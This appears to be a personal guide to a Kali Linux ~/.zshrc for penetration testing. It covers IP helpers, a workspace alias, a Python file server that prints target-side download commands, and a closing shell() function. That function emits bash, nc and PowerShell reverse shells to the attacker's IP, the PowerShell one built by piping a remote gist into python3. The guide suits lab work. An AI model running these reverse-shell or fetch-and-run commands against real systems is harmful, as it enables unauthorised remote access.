Setting zshrc file

In Kali Linux, These change needs to be made in a file named as ~/.zshrc . Then save it and reload the file using source ~/.zshrc the command.

Deleted ~/.zshrc file or modified it by mistakenly?? No issue !! you can restore it from here.

cp /etc/skel/.zshrc ~/

Making Temp directory

# Making a temp directory for working

alias usetemp='[ ! -d "/tmp/temp_workspace" ] && mkdir -p "/tmp/temp_workspace"; cd /tmp/temp_workspace'

Setting IPs

# ip Setting.
# export VM1=172.16.244.10
# Check if tun0 interface exists before setting IP_KALI
if ifconfig tun0 &>/dev/null; then
  export IP_KALI=$(ifconfig tun0 | grep 'inet ' | awk '{print $2}')
else
  export IP_KALI="Not connected to VPN"
fi
# If vpn is connected then it will grep and ip in IP_KALI variable.


# For all the IPs, You have to set the value of 'x' first and then export all the variables.
x=184
export web02=192.168.$x.247
export external=192.168.$x.248
export legacy=192.168.$x.249
export mail=192.168.$x.189

Automated way:

add_ip_entry() {
    # Initialize variables
    local set_x=""
    local set_y=""
    local use_var=""
    local name=""
    local ip=""
    local show_help=0
    local list_entries=0

    # Check if no arguments are provided or if the first argument is --help
    if [[ $# -eq 0 ]]; then
        show_help=1
    fi

    # Parse arguments
    while [[ $# -gt 0 ]]; do
        case $1 in
            --set-x)
                if [[ -n "$2" && "$2" =~ ^[0-9]+$ ]]; then
                    set_x="$2"
                    shift 2
                else
                    echo "Error: --set-x requires a numeric value."
                    return 1
                fi
                ;;
            --set-y)
                if [[ -n "$2" && "$2" =~ ^[0-9]+$ ]]; then
                    set_y="$2"
                    shift 2
                else
                    echo "Error: --set-y requires a numeric value."
                    return 1
                fi
                ;;
            --use-x)
                use_var="x"
                shift
                ;;
            --use-y)
                use_var="y"
                shift
                ;;
            --list)
                list_entries=1
                shift
                ;;
            --help)
                show_help=1
                shift
                ;;
            -*)
                echo "Invalid option: $1"
                show_help=1
                return 1
                ;;
            *)
                if [[ -z "$name" ]]; then
                    name="$1"
                    shift
                elif [[ -z "$ip" ]]; then
                    ip="$1"
                    shift
                else
                    echo "Error: Too many arguments."
                    show_help=1
                    return 1
                fi
                ;;
        esac
    done

    # Show help if requested
    if [[ $show_help -eq 1 ]]; then
        echo "Usage: add_ip_entry [--set-x value] [--set-y value] [--list] [--use-x | --use-y] name IP_address"
        echo "Examples:"
        echo "  add_ip_entry --set-x 400                          # Update x to 400"
        echo "  add_ip_entry --set-y 142                          # Update y to 142"
        echo "  add_ip_entry --list                               # List entries added by add_ip_entry"
        echo "  add_ip_entry --use-x server1 192.168.1.100        # Add entry using x"
        echo "  add_ip_entry --use-y server2 10.0.0.200           # Add entry using y"
        echo "  add_ip_entry myservice 10.129.96.149              # Add entry without x/y substitution"
        return 1
    fi

    # Convert name to lowercase
    name=$(echo "$name" | tr '[:upper:]' '[:lower:]')

    # List entries if requested
    if [[ $list_entries -eq 1 ]]; then
        echo "Entries added by add_ip_entry in ~/.zshrc:"
        grep '# Added by add_ip_entry' ~/.zshrc | while read -r line; do
            echo "${line%%#*}"
        done
        return 0
    fi

    # Update x or y if specified
    if [[ -n "$set_x" ]]; then
        if grep -q '^x=' ~/.zshrc; then
            sed -i "s/^x=.*/x=$set_x/" ~/.zshrc
        else
            echo "x=$set_x" >> ~/.zshrc
        fi
        echo "Updated x to $set_x in ~/.zshrc"
    fi
    if [[ -n "$set_y" ]]; then
        if grep -q '^y=' ~/.zshrc; then
            sed -i "s/^y=.*/y=$set_y/" ~/.zshrc
        else
            echo "y=$set_y" >> ~/.zshrc
        fi
        echo "Updated y to $set_y in ~/.zshrc"
    fi

    # If name and ip are provided, add or update the entry
    if [[ -n "$name" && -n "$ip" ]]; then

        # Validate IP address format
        if [[ ! "$ip" =~ ^([0-9]{1,3}\.){3}[0-9]{1,3}$ ]]; then
            echo "Invalid IP address format. (Provided: $ip)"
            return 1
        fi

        # Decide how to build the line for ~/.zshrc
        if [[ "$use_var" == "x" || "$use_var" == "y" ]]; then
            IFS='.' read -r octet1 octet2 octet3 octet4 <<< "$ip"
            if [[ "$use_var" == "x" ]]; then
                new_line="export $name=$octet1.$octet2.\$x.$octet4  # Added by add_ip_entry"
            else
                new_line="export $name=$octet1.$octet2.\$y.$octet4  # Added by add_ip_entry"
            fi
        else
            new_line="export $name=$ip  # Added by add_ip_entry"
        fi

        # Check if an entry for $name already exists
        if grep -q "^export $name=" ~/.zshrc; then
            old_ip=$(grep "^export $name=" ~/.zshrc | cut -d'=' -f2 | cut -d' ' -f1)

            # Prompt user for update
            echo "An entry for '$name' already exists with value: $old_ip"
            echo -n "Do you want to update it to '$ip'? (y/N): "
            read choice

            if [[ "$choice" =~ ^[Yy]$ ]]; then
                sed -i "s|^export $name=.*|$new_line|" ~/.zshrc
                echo "Updated existing entry for '$name' in ~/.zshrc."
            else
                echo "Skipped updating '$name'."
            fi
        else
            echo "$new_line" >> ~/.zshrc
            echo "Added new entry for '$name' to ~/.zshrc: $new_line"
        fi
    elif [[ -n "$name" || -n "$ip" ]]; then
        echo "Error: Both name and IP_address are required when adding an entry."
        return 1
    fi

    # Reload the shell config
    source ~/.zshrc
    echo "Reloaded ~/.zshrc"
}

Making temp environment

I will create a temporary environment for installing tools and dependencies required during penetration testing. This ensures compatibility and avoids conflicts with the original software or version information of Kali Linux.

# Function to create and activate a virtual environment
temp_env() {
    local env_name=${1:-temp_env}  # Default name is 'temp_env' if no argument is given
    virtualenv "$env_name"        # Create the virtual environment
    if [[ -d "$env_name" ]]; then
        source "$env_name/bin/activate"  # Activate the virtual environment
        echo "Virtual environment '$env_name' created and activated."
    else
        echo "Failed to create virtual environment."
    fi
}

Making Help_me function

In order to remember the work done by shortcut. I will be adding this help_me fucntion.

# Colour definitions
RED=$'\e[31m'
GREEN=$'\e[32m'
YELLOW=$'\e[33m'
BLUE=$'\e[34m'
MAGENTA=$'\e[35m'
CYAN=$'\e[36m'
RESET=$'\e[0m'

# Function to display all custom aliases and functions with descriptions in colour
help_me() {
    echo "${YELLOW}Custom Shortcuts Defined in ~/.zshrc:${RESET}"
    awk -v RED="$RED" -v GREEN="$GREEN" -v YELLOW="$YELLOW" -v BLUE="$BLUE" -v MAGENTA="$MAGENTA" -v RESET="$RESET" '
        /^#/{ gsub(/^# ?/, "", $0); desc=$0; next }
        /^alias /{
            gsub(/^alias /, "", $0);
            split($0, a, "=");
            printf "\n%sAlias:%s %s\n    %sDescription:%s %s\n", BLUE, RESET, a[1], GREEN, RESET, desc;
            desc="";
        }
        /^[a-zA-Z0-9_]+\(\) *\{/{ 
            func_name = gensub(/\(\).*/, "", "g", $0);
            printf "\n%sFunction:%s %s()\n    %sDescription:%s %s\n", MAGENTA, RESET, func_name, GREEN, RESET, desc;
            desc="";
        }
    ' ~/.zshrc
}

Setting up the server.

This will help you set up a custom port, directory, and file for the server, as well as start the server and provide the command needed to send the file.

# Add the following function to your ~/.zshrc file

# Combined function with interactive loop, color codes, file and directory checks,
# interruption handling, custom IP address, search functionality, and proper PID management
server() {
    local logfile="$HOME/.active_servers"

    # Ensure the logfile exists
    touch "$logfile"

    # Color codes
    RED='\033[0;31m'
    GREEN='\033[0;32m'
    YELLOW='\033[1;33m'
    BLUE='\033[1;34m'
    MAGENTA='\033[1;35m'
    CYAN='\033[1;36m'
    NC='\033[0m' # No Color

    # Function to stop all active servers
    stop_all_servers() {
        if [[ ! -f "$logfile" || ! -s "$logfile" ]]; then
            return
        fi

        while read -r pid port dir filename; do
            if kill -0 "$pid" > /dev/null 2>&1; then
                kill -9 "$pid" > /dev/null 2>&1
                if [[ $? -eq 0 ]]; then
                    echo -e "${GREEN}Server with PID $pid stopped.${NC}"
                else
                    echo -e "${RED}Failed to stop server with PID $pid.${NC}"
                fi
            else
                echo -e "${YELLOW}Server with PID $pid is not running.${NC}"
            fi
        done < "$logfile"
        # Clear the logfile
        > "$logfile"
    }

    # Function to clean up stale server entries on script start
    cleanup_stale_entries() {
        if [[ ! -f "$logfile" || ! -s "$logfile" ]]; then
            return
        fi

        local temp_file=$(mktemp)
        while read -r pid port dir filename; do
            if [[ "$pid" =~ ^[1-9][0-9]*$ ]] && kill -0 "$pid" > /dev/null 2>&1; then
                echo "$pid $port $dir $filename" >> "$temp_file"
            fi
        done < "$logfile"

        mv "$temp_file" "$logfile"
    }

    # Clean up stale entries at the start
    cleanup_stale_entries

    # Trap interruptions to stop all servers and exit
    trap 'echo -e "${RED}\nInterrupted. Stopping all servers...${NC}"; stop_all_servers; exit 1' INT TERM

    while true; do
        echo ""
        echo -e "${CYAN}Select an option:${NC}"
        echo -e "${YELLOW}1)${NC} Start a new server"
        echo -e "${YELLOW}2)${NC} List active servers"
        echo -e "${YELLOW}3)${NC} Stop a server"
        echo -e "${YELLOW}4)${NC} Search for a file"
        echo -e "${YELLOW}5)${NC} Exit"
        echo -n -e "${CYAN}Enter your choice [1-5]: ${NC}"
        read -r choice

        case "$choice" in
            1)
                # Start a new server
                start_new_server
                ;;
            2)
                # List active servers
                list_active_servers
                ;;
            3)
                # Stop a server
                stop_server_interactive
                ;;
            4)
                # Search for a file
                search_file
                ;;
            5)
                # Exit the script after stopping all servers
                echo -e "${GREEN}Stopping all servers and exiting...${NC}"
                stop_all_servers
                echo -e "${GREEN}Goodbye!${NC}"
                break
                ;;
            *)
                echo -e "${RED}Invalid choice. Please enter a number between 1 and 5.${NC}"
                ;;
        esac
    done
}

# Function to start a new server with interactive prompts and checks
start_new_server() {
    # Default values
    local default_port=8000
    local dir
    dir=$(pwd)
    local filename=""
    local port=$default_port
    local logfile="$HOME/.active_servers"

    # Color codes
    RED='\033[0;31m'
    GREEN='\033[0;32m'
    YELLOW='\033[1;33m'
    BLUE='\033[1;34m'
    MAGENTA='\033[1;35m'
    CYAN='\033[1;36m'
    NC='\033[0m' # No Color

    # Check if python3 is installed
    if ! command -v python3 >/dev/null 2>&1; then
        echo -e "${RED}Error: python3 is not installed. Please install python3 and try again.${NC}"
        return 1
    fi

    # Function to check if a port is available
    is_port_available() {
        local port=$1
        if lsof -iTCP:"$port" -sTCP:LISTEN >/dev/null 2>&1; then
            return 1  # Port is in use
        else
            return 0  # Port is available
        fi
    }

    # Check if the port is available; if not, find the next available port
    while true; do
        if is_port_available "$port"; then
            break
        else
            port=$((port + 1))
            if [ "$port" -gt 65535 ]; then
                echo -e "${RED}No available ports found.${NC}"
                return 1
            fi
        fi
    done

    # Prompt for directory
    echo -n -e "${CYAN}Enter directory to serve [${dir}]: ${NC}"
    read -r input_dir
    dir=${input_dir:-$dir}

    # Check if the directory exists
    if [ ! -d "$dir" ]; then
        echo -e "${RED}Directory '${dir}' does not exist.${NC}"
        return 1
    fi

    # Prompt for filename (compulsory)
    while true; do
        echo -n -e "${CYAN}Enter filename to transfer (required): ${NC}"
        read -r filename
        if [ -z "$filename" ]; then
            echo -e "${RED}Filename is required. Please enter a filename.${NC}"
        else
            # Check if the file exists in the specified directory
            if [ ! -f "$dir/$filename" ]; then
                echo -e "${RED}File '${filename}' does not exist in directory '${dir}'.${NC}"
            elif [ ! -r "$dir/$filename" ]; then
                echo -e "${RED}File '${filename}' is not readable. Check permissions.${NC}"
            else
                break
            fi
        fi
    done

    # Start the server in the specified directory without using a subshell
    python3 -m http.server "$port" --directory "$dir" > /dev/null 2>&1 &
    local pid=$!

    # Validate PID
    sleep 1  # Briefly wait to ensure the server starts
    if ! kill -0 "$pid" > /dev/null 2>&1; then
        echo -e "${RED}Failed to start server on port $port.${NC}"
        return 1
    fi

    # Ensure PID is a positive integer and not 0
    if ! [[ "$pid" =~ ^[1-9][0-9]*$ ]]; then
        echo -e "${RED}Invalid PID: $pid. Server not started.${NC}"
        kill -9 "$pid" > /dev/null 2>&1
        return 1
    fi

    # Record the server information
    echo "$pid $port $dir $filename" >> "$logfile"

    # Use the IP address stored in $IP_KALI
    if [ -z "$IP_KALI" ]; then
        echo -e "${RED}Error: \$IP_KALI is not set in your ~/.zshrc file.${NC}"
        echo -e "${RED}Please set \$IP_KALI to your actual IP address and try again.${NC}"
        return 1
    fi
    local ip="$IP_KALI"

    # Display the transfer commands
    echo ""
    echo -e "${GREEN}Server started at directory '${dir}' on port '${port}' (PID: ${pid})${NC}"
    echo -e "${MAGENTA}Transfer commands for file '${filename}':${NC}"
    echo ""
    echo -e "${YELLOW}Windows PowerShell:${NC}"
    echo -e "  iwr -uri http://$ip:$port/$filename -OutFile $filename"
    echo ""
    echo -e "${YELLOW}Windows CMD:${NC}"
    echo -e "  certutil -urlcache -f http://$ip:$port/$filename $filename"
    echo ""
    echo -e "${YELLOW}Linux:${NC}"
    echo -e "  wget http://$ip:$port/$filename"
    echo ""
}

# Function to list active servers
list_active_servers() {
    local logfile="$HOME/.active_servers"
    if [[ ! -f "$logfile" || ! -s "$logfile" ]]; then
        echo -e "${YELLOW}No active servers.${NC}"
        return
    fi

    echo -e "${GREEN}Active servers:${NC}"
    while read -r pid port dir filename; do
        if kill -0 "$pid" > /dev/null 2>&1; then
            echo -e "${CYAN}PID:${NC} $pid, ${CYAN}Port:${NC} $port, ${CYAN}Directory:${NC} $dir, ${CYAN}File:${NC} $filename"
        else
            echo -e "${RED}PID:${NC} $pid (not running), ${CYAN}Port:${NC} $port, ${CYAN}Directory:${NC} $dir, ${CYAN}File:${NC} $filename"
        fi
    done < "$logfile"
}

# Function to stop a server interactively
stop_server_interactive() {
    local logfile="$HOME/.active_servers"
    if [[ ! -f "$logfile" || ! -s "$logfile" ]]; then
        echo -e "${YELLOW}No active servers to stop.${NC}"
        return
    fi

    echo -e "${GREEN}Active servers:${NC}"
    local servers=()
    while read -r pid port dir filename; do
        if kill -0 "$pid" > /dev/null 2>&1; then
            servers+=("$pid")
            echo -e "${YELLOW}${#servers[@]})${NC} PID: $pid, Port: $port, Directory: $dir, File: $filename"
        fi
    done < "$logfile"

    if [ ${#servers[@]} -eq 0 ]; then
        echo -e "${YELLOW}No running servers to stop.${NC}"
        return
    fi

    echo -n -e "${CYAN}Enter the number of the server you want to stop: ${NC}"
    read -r server_number
    if [[ "$server_number" =~ ^[1-9][0-9]*$ ]] && [ "$server_number" -ge 1 ] && [ "$server_number" -le ${#servers[@]} ]; then
        local pid_to_stop=${servers[$((server_number - 1))]}
        if kill -9 "$pid_to_stop" > /dev/null 2>&1; then
            # Remove the server from the active servers list
            sed -i.bak "/^$pid_to_stop /d" "$logfile"
            echo -e "${GREEN}Server with PID $pid_to_stop stopped.${NC}"
        else
            echo -e "${RED}Failed to stop server with PID $pid_to_stop.${NC}"
        fi
    else
        echo -e "${RED}Invalid selection.${NC}"
    fi
}

# Function to search for a file using locate with multiple keywords
search_file() {
    # Color codes
    RED='\033[0;31m'
    GREEN='\033[0;32m'
    YELLOW='\033[1;33m'
    BLUE='\033[1;34m'
    MAGENTA='\033[1;35m'
    CYAN='\033[1;36m'
    NC='\033[0m' # No Color

    echo -n -e "${CYAN}Enter the filename or keyword(s) to search (separated by spaces): ${NC}"
    read -r search_input

    if [ -z "$search_input" ]; then
        echo -e "${RED}Search term cannot be empty.${NC}"
        return
    fi

    echo -e "${GREEN}\nSearching for '${search_input}'...${NC}\n"

    # Split the input into separate keywords
    local -a search_terms
    IFS=' ' read -r -a search_terms <<< "$search_input"

    # Execute the locate command with multiple keywords
    locate_output=$(locate "${search_terms[@]}" 2>/dev/null)

    if [ -z "$locate_output" ]; then
        echo -e "${YELLOW}No results found for '${search_input}'.${NC}"
        echo -e "${YELLOW}Consider updating the locate database with 'sudo updatedb'.${NC}"
    else
        echo -e "${MAGENTA}Search Results:${NC}"
        echo "$locate_output" | while IFS= read -r line; do
            echo -e "${CYAN}- ${NC}${line}"
        done
    fi
}

# Function to stop all servers and delete the ~/.active_servers file
force_stop_and_delete_active_servers() {
    local logfile="$HOME/.active_servers"

    if [[ ! -f "$logfile" || ! -s "$logfile" ]]; then
        echo -e "${YELLOW}No active servers to stop.${NC}"
        return
    fi

    echo -e "${GREEN}Stopping all active servers...${NC}"

    while read -r pid port dir filename; do
        # Validate PID: it should be a positive integer
        if [[ "$pid" =~ ^[1-9][0-9]*$ ]]; then
            # Check if the process is running
            if kill -0 "$pid" > /dev/null 2>&1; then
                echo -e "${CYAN}Attempting to stop server with PID $pid on port $port...${NC}"
                kill -9 "$pid" > /dev/null 2>&1
                if [[ $? -eq 0 ]]; then
                    echo -e "${GREEN}Successfully stopped server with PID $pid.${NC}"
                else
                    echo -e "${RED}Failed to stop server with PID $pid.${NC}"
                fi
            else
                echo -e "${YELLOW}No running process found with PID $pid.${NC}"
            fi
        else
            echo -e "${RED}Invalid PID: $pid. Skipping...${NC}"
        fi
    done < "$logfile"

    # Delete the logfile
    rm -f "$logfile"
    echo -e "${GREEN}Deleted ~/.active_servers file.${NC}"
}

# Ensure the server function is loaded
autoload -U server

Getting shell command

This command will display the reverse shell command and start the server on the specified port.

# Define your Kali Linux IP address if not already set
# export IP_KALI="your_kali_ip"

function shell() {
    # Prompt for port number
    read "PORT?Enter port number for reverse shell: "

    # Prompt for reverse shell type
    echo "Select reverse shell type:"
    echo "1) bash"
    echo "2) sh"
    echo "3) powershell reverse base64 code"
    read "CHOICE?Enter choice [1-3]: "

    # Check if IP_KALI is set
    if [ -z "$IP_KALI" ]; then
        echo "Error: \$IP_KALI is not set. Please set it in your ~/.zshrc file."
        return 1
    fi

    # Generate reverse shell command based on user choice
    case $CHOICE in
        1)
            # bash reverse shell
            SHELL_CMD="bash -c \"bash -i >& /dev/tcp/$IP_KALI/$PORT 0>&1\""
            ;;
        2)
            # sh reverse shell
            SHELL_CMD="nc -e /bin/sh $IP_KALI $PORT"
            ;;
        3)
            # powershell reverse base64 code
            SHELL_CMD=$(curl -s https://gist.githubusercontent.com/tothi/ab288fb523a4b32b51a53e542d40fe58/raw/mkpsrevshell.py | python3 - $IP_KALI $PORT)
            ;;
        *)
            echo "Invalid choice."
            return 1
            ;;
    esac

    # Display the generated reverse shell command
    echo -e "\nReverse shell command:"
    echo "$SHELL_CMD"

    # Start the listener
    echo -e "\nStarting listener on port $PORT..."
    sudo rlwrap nc -lnvp $PORT
}